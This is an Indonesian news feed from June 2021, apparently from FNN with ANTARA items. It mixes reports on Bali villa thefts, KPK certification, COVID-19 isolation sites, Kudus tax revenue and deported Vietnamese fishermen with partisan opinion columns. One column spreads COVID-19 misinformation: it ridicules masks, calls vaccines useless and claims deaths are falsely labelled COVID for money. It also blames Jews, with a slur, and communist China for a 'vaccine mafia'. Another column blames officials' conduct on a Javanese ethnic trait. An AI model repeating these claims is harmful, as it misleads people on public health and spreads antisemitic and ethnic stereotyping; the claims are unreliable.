Badung, 22/6 (ANTARA) - Dua pria di Bali bernama Muhammad Defri Hermanto (26) dan Adi Maola Buana (32) membobol vila yang ditempati oleh turis asing di wilayah Kuta Utara, Badung, Bali dengan kerugian hingga ratusan juta rupiah. "Kedua pelaku berasal dari luar Bali dan mereka tidak berkaitan ya, beda laporan. Dari tersangka Adi Maola diperoleh Rp41 juta sedangkan dari tersangka Muhammad Defri diperoleh Rp300 juta," kata Kapolres Badung AKBP Roby Septiadi dalam konferensi pers di Polsek Kuta Utara, Bali, Selasa. Ia mengatakan ada dua turis asing yaitu berasal dari Inggris dan Swedia yang menjadi korban dari kasus pencurian dengan pemberatan ini. Awalnya dari tersangka Muhammad Defri masuk ke dalam vila dan mencari brankas yang berisi barang-barang berharga berupa uang tunai dan perhiasan emas. Selanjutnya, pada Minggu (20/06) sekitar pukul 11.00 Wita, korban bernama Simon Andrew Crowe sedang dalam perjalanan pulang dari Surabaya menuju ke Bali dan mendapat kabar beberapa dollar dan perhiasannya telah hilang. Untuk itu, turis asal Inggris ini mengalami kerugian Rp300 juta dan kalung emas. Kedua, dari tersangka Adi Maola Buana yang merupakan mantan pekerja di vila tersebut mengintai lokasi tempat korban tinggal. Kemudian, pada 12 Juni 2021 sekitar jam 11.00 Wita ketika suasana sepi tersangka langsung mengambil barang-barang korban. Korban bernama Malin Karllsson asal Swedia mengalami kerugian hingga Rp41 juta, dengan barang bukti berupa laptop dan telepon genggam masing-masing satu buah. Atas perbuatan tersebut, kedua pelaku dikenakan Pasal 363 KUHP dengan ancaman maksimal 7 tahun penjara, kata Kapolres Badung. (sws)

LSP KPK Tambah Jumlah Penyuluh Antikorupsi Untuk Bangun Integritas

Jakarta, FNN - Lembaga Sertifikasi Profesi Komisi Pemberantasan Korupsi (LSP KPK) kembali memperkuat upaya pembangunan integritas dengan menambah jumlah penyuluh antikorupsi tersertifikasi. "Dengan metode asesmen jarak jauh, LSP KPK hari ini (Selasa) akan menambah lagi 19 penyuluh antikorupsi kompeten sehingga dalam kurun satu semester terakhir LSP KPK mencetak total 188 penyuluh antikorupsi tersertifikasi," kata Plt Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya di Jakarta, Selasa. Ipi menjelaskan sertifikasi yang diselenggarakan Selasa (22/6) diikuti 12 peserta dengan menggunakan jalur pendidikan dan pelatihan (diklat). Sedangkan, sisanya tujuh peserta melalui jalur pengalaman dengan beragam latar belakang profesi. Proses sertifikasi dibagi dalam dua sesi, yakni pukul 08.00 WIB-12.00 WIB dan pukul 13.00 WIB-17.00 WIB. "Jika peserta mengikuti jalur diklat maka setelah menyelesaikan diklat, maka peserta diwajibkan untuk melakukan penyuluhan antikorupsi. Bukti-bukti bahwa peserta telah melakukan penyuluhan tersebut akan menjadi portofolio sebagai syarat mengikuti tahapan sertifikasi," ucap Ipi. Ia mengatakan sebanyak 12 peserta yang kali ini mengikuti sertifikasi sebelumnya telah menyelesaikan diklat pada tahun 2020. Mayoritas adalah Aparat Pengawasan Intern Pemerintah (APIP). "Sertifikasi adalah proses pemberian sertifikat pengakuan kompetensi yang dilakukan secara sistematis dan objektif melalui uji kompetensi yang mengacu kepada Standar Kompetensi Kerja Nasional Indonesia (SKKNI) penyuluh antikorupsi," kata dia. Selama tiga tahun penyelenggaraan sertifikasi oleh LSP KPK, kata dia, saat ini KPK telah memiliki 1.499 penyuluh antikorupsi. "Untuk melakukan monitoring dan evaluasi kegiatan penyuluhan oleh para penyuluh yang sudah tersertifikasi, KPK membangun aplikasi 'aksesku interaksi'. Melalui aplikasi tersebut, para penyuluh antikorupsi di seluruh Indonesia mendokumentasikan kegiatan penyuluhan antikorupsi yang telah dilakukan dan dipantau LSP KPK," kata Ipi. Ia mengatakan sertifikasi penyuluh antikorupsi yang diselenggarakan LSP KPK atau di instansi yang bekerja sama dengan LSP KPK tidak dipungut biaya apa pun. "KPK mengajak masyarakat memanfaatkan kesempatan ini untuk meningkatkan kompetensi bagi masyarakat yang ingin berpartisipasi dalam pemberantasan korupsi," tuturnya. (sws)

Panglima TNI Tinjau Isolasi Terpusat OTG di Cilincing

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto bersama Menteri Kesehatan Budi Gunadi Sadikin dan Kapolri Jenderal Pol Listyo Sigit Prabowo meninjau isolasi terpusat orang tanpa gejala (OTG) dan Kelurahan Rorotan di wilayah Cilincing, Jakarta Utara, Selasa. Setibanya di Rusun Nagrak, Panglima TNI, Menkes, dan Kapolri menerima penjelasan dari Pangdam Jaya Mayjen TNI Mulyo Aji dan Kabid Kesmas Dinkes DKI dr. Fifi terkait situasi dan kondisi di Rusun Nagrak. Isolasi terpusat OTG menggunakan Rusun Nagrak yang terletak di Kelurahan Marunda, Kecamatan Cilincing, Jakarta Utara, dijadikan lokasi isolasi pasien COVID-19 tanpa gejala. Rusun tersebut bisa menampung 1.000 tempat tidur dan siap hadapi lonjakan COVID-19. Panglima TNI Marsekal TNI Hadi Tjahjanto mengatakan, dalam pelaksanaan PPKM mikro para petugas harus selalu mengingatkan dan menegakkan disiplin protokol kesehatan, melaksanakan pemantauan, melaporkan kasus aktif, pemantauan angka kesembuhan dan kematian, BOR (Bed Occupancy Rate) isolasi serta fasilitas lainnya. Untuk mengatasi lonjakan COVID-19, Marsekal Hadi dalam siaran persnya, meminta agar mengoptimalkan PPKM mikro dan vaksinasi nasional harus digencarkan guna mempercepat "herd imunnity" sehingga program pemerintah ke depan dapat berjalan dengan baik menuju Indonesia bebas COVID-19. Selanjutnya, Panglima TNI bersama rombongan menuju Kantor Lurah Rorotan, Cilincing, Jakarta Utara dan menerima penjelasan dari Kepala Kelurahan Rorotan Idam Mugabe terkait pelaksanaan PPKM mikro. Dalam kesempatan tersebut, Panglima TNI menekankan kepada Babinsa dan Bhabinkamtibmas untuk mendirikan Posko COVID-19 demi terlaksananya 4 pilar yang dianjurkan pemerintah, yakni dari Kelurahan setempat, Dinkes, Babinsa, dan Bhabinkamtibmas. Ikuit dalam rombongan tersebut, antara lain, Asops Panglima TNI Mayjen TNI Syafrudin, Aster Panglima TNI Mayjen TNI Madsuni, Kapuskes TNI Mayjen TNI Tugas Ratmono, Kapuspen TNI Mayjen TNI Prantara Santosa, dan pejabat tinggi Polri. (sws)

Sinting, "Bohong" HRS Kok Lebih Dahsyat dari Pembunuhan KM-50

By Asyari Usman Medan, FNN - Para pengelola negara ini sudah ‘confirmed’ mengalami gangguan akal sehat berkenaan dengan “bohong” swab test Habib Rizieq Syihab (HRS). Coba Anda renungkan ini. Katakanlah HRS benar berbohong soal hasil test di RS Ummi, Bogor. Tapi, apakah tuduhan berbohong itu lebih dahsyat dari pembunuhan 6 (enam) pengawal HRS di KM-50? Sinting total para pengelola negara ini, khususnya para penegak hukum. Sudah jelas-jelas Komnas HAM (walaupun tercium subjektif), menyimpulkan ada pelanggaran HAM level “extrajudicial killing” dalam kasus KM-50 itu. Sebanyak 6 orang dibunuh oleh aparat ketika para pengawal Habib itu berada di dalam kawalan (custody) polisi. Kemudian, Komnas juga mengisyaratkan sangat mungkin ada lembaga lain di luar kepolisian yang terlibat dalam pembunuhan KM-50 itu. Ada orang penting di mobil Land Cruiser warna gelap yang berada di TKP pada saat peristiwa terjadi. Mobil itu sampai hari ini belum terungkap. Komnas HAM meminta agar ditelusuri. Tapi rekomendasi ini tidak dilaksanakan. Sekarang, kenapa kasus HRS yang dituduh berbohong itu menjadi lebih besar dan lebih penting bagi penegak hukum? Habib dituduh menyebarkan kabar bohong dan bisa menimbulkan keonaran. Nah, apakah “bohong” itu sudah menyebabkan keonaran? Keonaran apa? Di mana? Siapa korbannya? Edan betul. Pembunuhan KM-50 dengan 6 korban tak bersalah itu malah hilang dari proses penyelidikan. Ada kesan penegak hukum mau mengendapkan pembunuhan sadis itu. Sangat menakjubkan! Habib Rizieq dituntut 6 tahun penjara hanya karena berbohong. Sementara para pelaku pembunuhan KM-50 menjadi tak jelas kelanjutannya. Padahal, Polri secara resmi telah mengakui anggota merekalah yang melakukan pembunuhan biadab tersebut dan telah menetapkan dua tersangka (semula tiga tersangka, tapi satu orang “meninggal dunia”). Seandainya pun Habib benar berbohong soal test swab RS Ummi, akal sehat standar apa yang bisa menjustifikasi hukuman penjara 6 tahun? Juris prudensi mana yang dijadikan rujukan oleh jaksa penuntut umum (JPU)? Luar biasa zalimnya para penguasa negeri ini. Dua tersangka pembunuh pengawal HRS tidak ditahan. Dengan alasan kooperatif. Dan bahwa mereka diyakini tidak ada melarikan diri atau menghilangkan barang bukti. Sekali lagi, mereka itu tersangka pembunuhan. Bukan tersangka kasus berbohong. Bukan pidana ringan. Mau disebut apa rangkaian proses yang aneh ini kalau bukan muslihat politik yang berbungkus kasus hukum. Orang gila pun akan geleng-geleng kepala mendengar kasus berbohong dituntut 6 tahun penjara. Orang gila pun pusing memikirkan kenapa kasus berbohong dianggap lebih urgen dari pembunuhan KM-50.[] (Penulis wartawan senior FNN.co.id)

Riweuh Sendiri Gara-Gara Covad Covid

by Tarmidzi Yusuf Bandung FNN - Perdebatan di ruang publik masih mewarnai pandemi covid yang grafiknya naik dalam beberapa hari belakangan ini. Ada yang percaya 100%. Ada yang setengah percaya, namun ada juga setengah tidak percaya. Ada pula yang tidak percaya sama sekali. Waspada harus. Paranoid jangan. Tengah-tengah saja. Menariknya, yang tidak percaya itu terbilang tidak sedikit. Kalompok ini banyak juga. Mereka jarang bermasker tapi tidak terpapar. Gaul dan berinteraksi seperti biasa. Layaknya bukan zaman wabah corona. Tengok para pedagang keliling atau pedagang di pasar tradisional. Tragisnya, mereka yang full pakai masker dan ketat menerapkan social distancing secara ketat. Eh malah mereka itu terpapar covid. Bahkan sampai ada meninggal dunia. Kasusnya? Banyak. Yang agak heran, seringkali kita melihat suami istri yang selalu nempel bagai perangko, namun saat berkendaraan, dua-duanya bermasker. Maaf cuma nanya doang, emang ketika diranjang pake masker dan Alat Pelindung Diri (APD)? Lebih aneh lagi, ada yang sendirian berkendaraan, sepanjang jalan pakai masker. Emang tidak peungap gitu? Memang virusnya gentayangan di dalam mobil dan nempel di helm? Mengikuti kemana-mana pergi? Dulu, sebelum merebak covad covid, orang demam, sakit tenggorokan atau batuk-batuk biasa-biasa aja tuh. Ada penyakit keren baru, hilang penciuman. Tambah parno. Akibat hidungnya dikorek-korek berkali-kali? Wallahua'lam juga. Sekarang, banyak diantara kita yang paranoid berat. Lihat saja orang yang batuk sedikit seperti terlihat seperti kuntilanak. Orang yang ada di sekitar melilat dengan kompak lagi. Semua mata tertuju kepada yang batuk. Sekarang ini, bagi yang batuk, demam dan flu dilarang ke masjid. Padahal itu penyakit pasaran. Belum apa-apa sudah tertuduh covid. Padahal belum tentu juga. Hubungan sosial pun menjadi renggang sana-sini. Merasa tidak Testimoni yang dicovidkan banyak. Sudah menjadi obrolan di warung kopi. Wajar bila banyak yang takut ke rumah sakit. Tidak usah disalahin mereka yang takut ke rumah sakit. Intinya, bagaimana caranya agar rakyat masih mau percaya sama pemerintah. Butuh satunya kata antara yang diucapkan dengan perbuatan ituy menjadi harus. Bukannya boong melulu. Sudah begitu ngga malu lagi kalau boong. Apalagi mereka yang mau rawat inap di rumah sakit diharuskan di-PCR swab atau swab antigen dulu. Tidak seperti dulu, bebas. Akhirnya rakyat jadi curiga. Hayu tebak-tebakan, PRC swab dan swab antigen ini bisnisnya siapa? Desas desus tentang jenazah yang sengaja dicovidkan dengan kompensasi sejumlah fulus tertentu sudah banyak terungkap. Banyak pengakuan dari keluarga yang meninggal karena dicovidkan. Bukan cerita omong-kosong. Baru-baru ini di TPU Cikadut Bandung, sebanyak 196 makam dari 1.400 liang lahat di kuburan khusus Covid-19 telah dibongkar dan dipindahkan ke tempat pemakaman lain akibat dari jenazah dinyatakan negatif Covid-19. Korban salah urus covid. Sesak dada membaca berita seperti ini. Belum ditambah kasus lain yang tidak dipublikasikan. Berapa ratus bahkan ribuan jenazah yang terlanjur diurus dengan protokol penguburan ala covid. Shalat jenazah ala Satgas Covid. Dosa loh! Ada kisah lain yang menarik. Pasien yang awalnya ketika masuk rumah sakit positif covid. Ketika sembuh, mau pulang dari rumah sakit, pihak rumah sakit menyatakan virusnya tidak ditemukan. Maksudnya opo iki? Ada pula seorang ibu di sebuah kota di Banten. Ditawarkan oleh tenaga medis untuk dicovidkan. Kompensasinya adalah uang tunai dan bebas biaya berobat. Sekarang lonjakan kasus covid meningkat tajam. Ada yang mengaitkan dengan sidang putusan Imam Besar Habib Rizieq Shihab (HRS) kamis lusa (24/6) di Pengadilan Negeri Jakarta Timur. Ada juga isu presiden tiga periode dan isu Indo China Raya. Orang flu, demam, batuk-batuk paling ditakuti. Takut covid. Mudah-mudahan masih takut sama Allah Subhanahu Wata'ala. Covid telah mengcover semua penyakit, melebihi penyakit pembunuh nomor satu, jantung. Menakutkan dan mengerikan propaganda mereka. Seperti dilansir sebuah situs online (21/6/21), seorang mata-mata top China dilaporkan telah membelot ke Amerika Serikat (AS) dan menawarkan data rahasia intelijen tentang bagaimana pandemi COVID-19 dimulai. Nah loh. Lama-lama akan terkuak permainan covad covid yang berasal dari China komunis. Kita riweuh begini. China komunis dan Yahudi dapat duit dari bisnis vaksin. Yahudi pesek juga ikut-ikutan jadi mafia vaksin. Lucunya lagi, vaksin tidak menjamin tidak terpapar covid. Kalau begitu ngapain divaksin? Divaksin tidak divaksin podo wae. Begitulah kalau terlalu percaya sama pembohong. Riweuh sendiri. Panulis adalah Pegiat Dakwah dan Sosial.

Negeri “Sejuta” Upeti

REZIM ini tidak kehabisan akal untuk mengutip upeti dari rakyatnya. Ada saja yang menjadi obyek incaran pungutan. Mereka tak peduli kondisi ekonomi rakyat yang sedang sekarat. Mereka tutup mata terhadap banyaknya rakyat yang jatuh melarat karena dihajar pandemi. Rakyat jatuh bangun bertahan di tengah ketidakpastian. Segala upaya sudah rakyat lakukan untuk menyambung hidup, nyaris tiada hasil. Perekonomian makin nyungsep dan masa depan suram. Sialnya, tak ada jaminan dari pemerintah untuk sekadar hidup wajar. Ratusan triliun rupiah bansos yang dianggarkan pemerintah untuk sekadar menopang kesulitan, malah dikorupsi para pengambil kebijakan. Menteri yang bertugas mengawasi dana bansos biar tidak ditilep, malah ikut terlibat dalam permufakatan jahat itu. Akibatnya, beras, minyak dan mie instan yang sampai ke mulut ke rakyat hanya basa-basi, sebatas ritual dan simbolik. Seakan-akan tanggung jawab sudah ditunaikan. Mana cukup satu keluarga dijatah beras 10 kg untuk tiga bulan? Tak berlebihan jika disimpulkan rezim hanya memikirkan dirinya sendiri untuk mengatasi persoalan yang mereka buat sendiri. Toh rakyat bisa hidup dengan sendirinya. Hari kemarin rakyat tertampar oleh kebijakan rezim yang antirakyat, hari ini tergampar oleh berbagai pungutan. Yang demikian itu sudah terbiasa bagi rakyat. Rezim tampaknya tak kuat lagi mengatasi defisit anggaran. Ini terjadi lantaran pengelolaan APBN yang ugal-ugalan. Akibatnya rezim ini kehabisan ongkos. Namun, di mata rakyat mereka berupaya untuk tampil baik-baik saja, seakan tidak ada masalah. Padahal segudang masalah membelit leher rezim. Untuk utang luar negeri sudah tak dipercaya, untuk mengelola duit umat, sudah tak ada lagi celah. Dana Haji dan Dana BPJS juga sudah hampir ludes. Salah satu yang gampang adalah mengincar sektor publik untuk dilakukan pungutan. Dari sektor perbankan, rezim memungut biaya administrasi dalam setiap transaksi. Bahkan, rezim berencana menaikkan pungutan itu, namun gagal karena di-bully rakyat. Dari sektor keagamaan, rezim mengincar dana zakat. Bahkan kotak amal mushola pun tak luput dari teropong pungutan. Belum lagi bicara tentang dana haji yang menurut Rizal Ramli hanya tersisa Rp 18 miliar dari total Rp 120 triliun. Dari sektor pendidikan, rezim mengincar Pajak Penambahan Nilai (PPN) pendidikan. Padahal, sesuai perintah undang-undang, negara wajib mencerdaskan kehidupan bangsa. Dari sektor kerakyatan, rezim berencana memungut pajak sembako hingga 12 persen. Singkong, beras, jagung, gula, kopi, minyak, sayuran, terasi, terigu, dan bumbu semua akan dipajakin. Ditarik upeti. Betapa sulitnya memahami karakter, akal sehat, dan moral rezim. Bagaimana bisa mafhum, sembako yang seharusnya disubsidi oleh pemerintah, malah akan dipajaki. Undang-undang memerintahkan negara menguasai kekayaan alam dan hajat hidup orang banyak untuk digunakan sebesar-besarnya bagi kemakmuran rakyat. Akan tetapi, yang terjadi justru sebaliknya. Subsidi dihabisi, produksi dipajaki, hasil panen dipalaki. Rezim malah bersekongkol dengan korporasi dan oligarki. Rakyat diabaikan. Rakyat dijadikan obyek pungutan. Mirip sapi perah Memungut upeti terhadap rakyatnya sesungguhnya menunjukkan kegagalan rezim ini memakmurkan rakyat. Rezim yang seharusnya bisa meningkatkan produktivitas, menciptakan lapangan kerja, dan menjamin kehidupan yang layak, justru berubah menjadi monster yang menakutkan bagi rakyatnya sendiri. Rezim makin kalap memungut duit rakyat. Maklum, rezim terlalu boros menghamburkan APBN sehingga butuh pemasukan dana baru. Rezim yang berada di ambang kebangkrutan ini sesungguhnya disebabkan oleh tidak cakapnya mengelola anggaran, banyaknya korupsi, dan pembangunan infrastruktur yang ugal-ugalan. Hal yang paling mudah yakni menaikkan pajak dan pungutan lain. Mengapa rezim memiliki karakter seperti itu? Bisa jadi disebabkan oleh kultur yang terbangun sejak kecil. Sebagian besar orang Jawa pasti pernah mengalami atau melihat anak kecil yang baru bisa bicara mengikuti apa yang diperintahkan oleh orang tuanya. Ini biasanya terjadi di kampung-kampung manakala anak-anak sedang bermain dengan orang tuanya. Anak biasanya ditanya bagaimana cara makan atau menyebutkan nama- nama anggota tubuh. Lalu ada adegan lain yang sudah menjadi kebiasaan, yaitu anak ditanya "Bagaimana kalau 'nyuwun' (meminta) sesuatu. Lalu anak menengadahkan tangannya tanda meminta. Dan orang tuanya dengan bangga memberi apresiasi dengan mengatakan 'pinter'. Ini artinya, sejak kecil anak-anak sudah diajari meminta. Dan orang tuanya bangga. Lalu, menginjak dewasa, bahkan ketika memasuki dunia kerja, ada ungkapan kebiasaan yang juga unik, yaitu jika kita hendak bepergian, entah ke luar kota atau ke luar negeri, menjadi hal yang biasa untuk meminta oleh-oleh. "Jangan lupa oleh-olehnya ya". Begitu ungkapan yang lazim terjadi. Dua contoh di atas merupakan pendidikan karakter yang kurang bagus karena orientasinya menjadi peminta-minta, bukan pemberi. Jika manusia manusia model seperti ini menjadi menteri keuangan, presiden, atau pembuat kebijakan lainnya, sangat mungkin menjadi penarik upeti, pemungut pajak, dan peminta-minta bantuan. Sepintar apa pun ilmu seseorang, jika pendidikan karakternya salah, maka perilakunya juga salah. Sepolos apa pun seseorang, jika pendidikan karakternya menyimpang, maka output-nya juga menyengsarakan. Anehnya, rezim yang seperti itu masih banyak pemujanya, dari pelosok desa sampai ibu kota. Mereka ingin berkuasa tak hanya tiga periode, tapi selamanya.

Sultan HB X Tekankan Masyarakat Subjek Utama Pencegahan COVID-19

Yogyakarta, FNN - Gubernur Daerah Istimewa Yogyakarta (DIY) Sri Sultan Hamengku Buwono X kembali menekankan posisi masyarakat sebagai subjek utama pencegahan penularan COVID-19, setelah sebelumnya mencabut wacana penerapan "lockdown total" di provinsi ini. "Tak dapat dimungkiri, masyarakatlah yang menjadi subjek pencegahan meluasnya pandemi. Sebaik dan sekuat apa pun regulasi hanya akan menjadi 'aji godhong aking', tak berarti bagai daun kering," kata Sri Sultan dalam Sapa Aruh, di Kompleks Kepatihan, Yogyakarta, Selasa. Sebelumnya, pada Jumat (18/6), Raja Keraton Yogyakarta ini sempat melontarkan wacana "lockdown total" DIY untuk menekan laju penularan. Namun kemudian, Gubernur DIY ini menilai bahwa kebijakan itu tidak mungkin dilakukan saat ini, mengingat keterbatasan anggaran pemerintah daerah untuk menanggung biaya hidup seluruh warga DIY. Sultan berpendapat sebaik dan sekuat apa pun kebijakan yang bakal diterapkan tidak memiliki arti apa-apa, jika diabaikan dan tidak dilaksanakan dengan sepenuh hati. "Kita harus 'lila legawa' (berlapang dada) dengan menyadari, sedikit kelengahan bisa memperparah dampak pageblug ini," ujar dia. Kepada pemerintah kabupaten dan kota se-DIY, ia menekankan bahwa pelaksanaan kebijakan pemberlakuan pembatasan kegiatan masyarakat (PPKM) skala mikro secara ketat dan terpadu sudah tidak bisa ditunda lagi. "Segera lakukan reinisiasi gerakan 'Jogo Wargo', kendalikan mobilitas dan aktivitas sosial masyarakat agar tidak menimbulkan klaster-klaster baru," ujar Ngarsa Dalem. Ia juga meminta pemerintah kabupaten/kota mengaktifkan fasilitas shelter komunal berbasis gotong royong di tingkat desa atau kalurahan. Selain itu, menurutnya, karantina wilayah juga dapat diterapkan dalam skop lokal setingkat RT dan padukuhan yang berstatus zona merah dengan pendampingan dari instansi terkait. "Saya percaya, gotong royong dan solidaritas sosial masih menjadi kekuatan nyata warga Daerah Istimewa Yogyakarta. Sekali lagi, pemerintah dan masyarakat harus 'lumangkah sagatra', sesuai kearifan lokal masing-masing," kata Sri Sultan HB X itu pula.

Netizen: Herd Stupidity Bukan Karena Mudik Tapi Ulah Pejabat

Jakarta, FNN – Kasus Covid-19 di Indonesia melonjak tajam. Lonjakan tersebut dibarengi dengan munculnya varian virus baru yang lebih mematikan, yaitu varian delta, di beberapa daerah. Beberapa pihak berkomentar bahwa dua hal yang memperburuk kasus Covid-19 di Indonesia tersebut disebabkan oleh tingkah laku masyarakat Indonesia sendiri dan juga ulah pejabat yang memberi contoh buruk. Epidemiolog Fakultas Kesehatan Masyarakat Universitas Indonesia (UI), Pandu Riono menyebutkan Indonesia sudah lama dalam kondisi 'herd stupidity’ (kebodohan bersama), bukan herd immunity (kekebalan kelompok) yang selama ini digaungkan pemerintah. Dalam akun Twitternya, Pandu Riono menyebutkan perilaku manusia yang mendorong replika virus, memperbanyak diri dan menjadi lebih menular. Menurutnya, masyarakat dan pejabat yang mendapat amanah tidak berperilaku 5 M dan enggan divaksinasi. "Indonesia sudah lama dalam kondisi "Herd Stupidity". Perilaku Manusianya yang dorong replikasi virus, memperbanyak diri dan berubah menjadi lebih mudah menular. Manusia yang mendapat amanah jadi pejabat dan manusia-manusia lain yang tidak berperilaku 5M dan enggan divaksinasi," tulis @drpriono1, seperti dikutip Selasa, 22 Juni 2021. Dalam unggahnya, Pandu Riono juga membagikan gambar yang bertuliskan "Manusia bergerak & berinteraksi para mutan ikut bergerak mudik 2021". Di cuitan terpisah, Pandu Riono juga menyebutkan herd immunity sulit tercapai karena vaksin tidak mencegah transmisi. "Mungkinkah terwujud "herd immunity" dg vaksinasi yg dipakai di NKRI? Sulit tercapai, karena vaksin tidak cegah transmisi, belum tahu efektivitasnya, tak tahu lama kekebalan bertahan & virus selalu bermutasi. Genjot cakupan vaksinasi agar tekan hospitalisasi & ZERO kematian," tulisnya. Cuitan epidemiolog UI itu terbukti ketika melonjaknya kasus Covid-19 di Indonesia dalam beberapa hari terakhir. Pada Senin, 21 Juni 2021, kasus Covid-19 di Indonesia bertambah 14.536, sehingga total menjadi 2.004.445 orang. Sebelumnya, Ketua Satgas Penanganan Covid-19 PB Ikatan Dokter Indonesia (IDI), Profesor Zubairi Djoerban menyarankan Indonesia untuk menerapkan lockdown selama 2 minggu. Menurutnya, lockdown diberlakukan untuk untuk memperlambat penyebaran, meratakan kurva hingga menyelamatkan fasilitas kesehatan. “Saran saya. Lebih bijaksana bagi Indonesia untuk terapkan lockdown selama dua minggu,” tulis @ProfesorZubairi, Senin, 21 Juni 2021. "Untuk apa? Memperlambat penyebaran, meratakan kurva, menyelamatkan fasilitas kesehatan, dan yang pamungkas: menahan situasi pandemi jadi ekstrem--yang akan membahayakan lebih banyak nyawa," tambahnya. Sementara itu, netizen yang kurang sependapat dengan Pandu berusaha untuk menyerang sebuah foto yang dilampirkan Pandu dalam cuitannya. Foto tersebut memuat ilustrasi sekelompok orang yang sedang dalam perjalanan dan sebuah kalimat berbunyi: “Manusia bergerak dan berinteraksi. Para mutan ikut bergerak dan pindah. Mudik 2021”. Beberapa netizen menganggap bahwa, melalui foto tersebut, Pandu menyalahkan masyarakat yang nekat mudik di tengah pandemi. “Kenapa yang disalahkan mudik?” cuit akun @wSantoyo. Beberapa netizen lain mencoba untuk melihat masalah tersebut sebagai masalah struktural. Alih-alih menyalahkan masyarakat yang nekat mudik, mereka berpendapat bahwa ketidaktegasan dan korupsi di kalangan pejabat pemerintah yang membuat kasus Covid-19 melonjak. “Saat Mudik selalu menjadi alibi, saat rakyat yang selalu disalahkan. Padahal, setahun yang lalu pemerintah yang sibuk dengan kosa kata psbb lalu ppkm dan lainnya. Pengen lockdown juga nggak mungkin karena ternyata uang 10 ribu sangat berarti untuk menteri yang saat itu menjabat,” cuit akun @rangganurwikara. Tak pelak, perdebatan di kalangan netizen tersebut membuat kata kunci herd stupidity menjadi tren di Twitter dalam beberapa waktu terakhir. Sebelumnya Menteri Koordinasi Kemaritiman dan Investasi, Luhut Binsar Pandjaitan dalam konferensi pers virtual berkenaan peningkatan kasus Covid-19 nasional, menyinggung peningkatan kasus Covid-19 akibat pemimpin tak memberi contoh baik kepada masyarakat. Namun tak dijelaskan pemimpin yang ia maksud. "Semua, kita harus melakukan perenungan. Kalau kita sebagai pemimpin tidak memberikan contoh, dampaknya seperti sekarang. Banyak korban yang tanpa kita (sadari), langsung atau tidak langsung akibat kita sendiri," kata Menko Luhut. (ant,pr,tem)

Penerimaan Pajak Daerah Kudus Hingga 10 Juni Capai Rp53,76 Miliar

Kudus, FNN - Penerimaan pajak daerah di Kabupaten Kudus, Jawa Tengah, selama Januari hingga 10 Juni 2021 sebesar Rp53,76 miliar atau 42,75 persen dari rencana penerimaan sebesar Rp100 miliar. "Dengan realisasi penerimaan pada awal bulan Juni 2021 yang melampaui target bulanan, kami optimistis hingga akhir tahun 2021 rencana penerimaan pajak sebesar Rp100 miliar bisa tercapai," kata Kepala Bidang Perencanaan dan Operasional Pendapatan Daerah Badan Pengelolaan Pendapatan, Keuangan dan Aset Daerah Kabupaten Kudus Famny Dwi Arfana di Kudus, Selasa. Ia mengatakan dengan sisa waktu yang ada akan dimaksimalkan agar penerimaan pajak daerah dari sejumlah pos bisa memenuhi target. Meskipun masih masa pandemi COVID-19 tetap akan diupayakan bisa mendapatkan hasil maksimal. Target penerimaan pajak sebesar Rp100 miliar, berasal dari 11 pos penerimaan pajak. Di antaranya, pajak hotel, pajak restoran, pajak hiburan, pajak reklame, dan pajak penerangan jalan. Kemudian, ada pajak mineral bukan logam batuan, pajak parkir, pajak air tanah, pajak sarang burung walet, PBB, dan bea perolehan hak tanah bangunan. Untuk pajak hotel ditargetkan sebesar Rp2,6 miliar, pajak restoran sebesar Rp9,6 miliar, pajak hiburan sebesar Rp553,89 juta, pajak reklame Rp3,2 miliar, pajak penerangan jalan Rp51,7 miliar, dan pajak parkir Rp616,1 juta. Kemudian untuk pajak air tanah sebesar Rp2,79 miliar, pajak sarang walet sebesar Rp10,87 juta, pajak mineral bukan logam dan batuan lainnya sebesar Rp36,1 juta, pajak bumi dan bangunan perdesaan dan perkotaan (PBBP2) sebesar Rp25,5 miliar, dan pajak bea perolehan hak tanah bangunan (BPHTB) sebesar Rp29 miliar. Dari 11 pos penerimaan pajak daerah, hingga tanggal 10 Juni 2021 yang realisasinya tertinggi, yakni dari pos BPHTB sebesar 61,36 persen, sedangkan pencapaian yang masih rendah dari pos penerimaan pajak mineral bukan logam dan batuan lainnya yang masih nihil. (mth)

KKP Deportasi 34 Awak Kapal Vietnam

Batam, FNN - Kementerian Kelautan dan Perikanan (KKP) bersama Kementerian Hukum dan HAM mendeportasi 34 orang awak kapal berkewarganegaraan Vietnam usai menjalani proses penegakan hukum. KKP menyerahkan 34 orang awal kapal warga negara Vietnam kepada Kantor Imigrasi Kelas I TPI Tanjung pinang dan Kantor Rudenim Pusat Tanjung Pinang sebagai bagian dari proses deportasi. "Sebanyak 34 orang ABK kapal ikan Vietnam kami serahkan dalam rangka persiapan deportasi ke negara asal," kata Plt Direktur Jenderal Pengawasan Sumber Daya Kelautan dan Perikanan Antam Novambar dalam keterangan yang diterima di Batam, Selasa. Ia menjelaskan sesuai kaidah yang berlaku dalam hukum laut internasional, maka awak kapal berkewarganegaraan asing tersebut tidak dikenakan hukuman badan sehingga setelah semua proses hukum telah selesai, dapat dipulangkan. "Jadi untuk efektivitas dan efisiensi pemberantasan ilegal fishing para nelayan asing yang telah melalui proses penegakan hukum ini kita pulangkan," kata Antam. Sementara itu, Plt Direktur Penanganan Pelanggaran Nugroho Aji menyampaikan pihaknya terus berkoordinasi dengan berbagai pihak untuk mempercepat pemulangan awak kapal pelaku "illegal fishing" berkewarganegaraan asing yang masih berada di Indonesia. Ia menyampaikan, kondisi pandemi COVID-19 yang membatasi lalu lintas antarnegara menjadi kendala dalam pemulangan nelayan asing. "Kami masih terus komunikasikan percepatan pemulangan awak kapal WNA yang masih ada di Indonesia," kata dia. Akibat tertundanya pemulangan awak kapal, maka pihaknya harus menyiapkan anggaran ekstra untuk penanganan. Sementara itu, saat ini terdapat 162 awak kapal asing di Pangkalan PSDKP Batam, di antaranya di Kantor Pangkalan PSDKP Batam sebanyak 130 awak kapal (127 Vietnam, 1 Rusia dan 2 Myanmar) dan di Satwas Natuna 32 awak kapal Vietnam. (mth)

KPK Konfirmasi Saksi Dokumen Lelang Proyek Stadion Mandala Krida

